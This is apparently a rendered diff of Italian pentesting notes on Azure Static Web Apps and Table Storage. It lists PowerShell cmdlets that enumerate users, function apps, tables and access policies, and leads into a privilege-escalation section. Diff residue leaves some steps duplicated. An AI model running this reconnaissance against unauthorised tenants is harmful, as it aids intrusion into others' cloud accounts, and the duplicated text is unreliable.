Get-AzStaticWebAppUser -ResourceGroupName <ResourceGroupName> -Name <Name> -AuthProvider <AuthProvider>
# Retrieves user-provided function apps associated with a Static Web App.
Get-AzStaticWebAppUserProvidedFunctionApp -ResourceGroupName <ResourceGroupName> -Name <Name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
## Esempi per generare Web Apps
Puoi trovare un bel esempio per generare un'app web al seguente link: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
1. Forka il repository https://github.com/staticwebdev/react-basic/generate nel tuo account GitHub e chiamalo `my-first-static-web-app`
2. Nel portale Azure crea una Static Web App configurando l'accesso a GitHub e selezionando il nuovo repository forkato in precedenza
3. Creala, aspetta qualche minuto e controlla la tua nuova pagina!
2. Nel portale Azure crea una Static Web App configurando l'accesso a Github e selezionando il nuovo repository forkato
3. Crealo, aspetta qualche minuto e controlla la tua nuova pagina!
## Escalation dei privilegi e Post Exploitation

View File

@@ -22,7 +22,7 @@ Non **c'è un meccanismo di backup integrato** per l'archiviazione delle tabelle
#### **Altre Proprietà (Proprietà Personalizzate)**
- Oltre al PartitionKey e al RowKey, un'entità può avere ulteriori **proprietà personalizzate per memorizzare dati**. Queste sono definite dall'utente e agiscono come colonne in un database tradizionale.
- Oltre al PartitionKey e al RowKey, un'entità può avere ulteriori **proprietà personalizzate per memorizzare dati**. Queste sono definite dall'utente e funzionano come colonne in un database tradizionale.
- Le proprietà sono memorizzate come **coppie chiave-valore**.
- Esempio: `Name`, `Age`, `Title` potrebbero essere proprietà personalizzate per un dipendente.
@@ -69,6 +69,8 @@ Get-AzStorageAccount
# List tables
Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -ResourceGroupName <ResourceGroupName>).Context
Get-AzStorageTableStoredAccessPolicy -Table <Table> -Context (Get-AzStorageAccount -Name <mystorageaccount -ResourceGroupName <ResourceGroupName>).Context
```
{{#endtab}}
{{#endtabs}}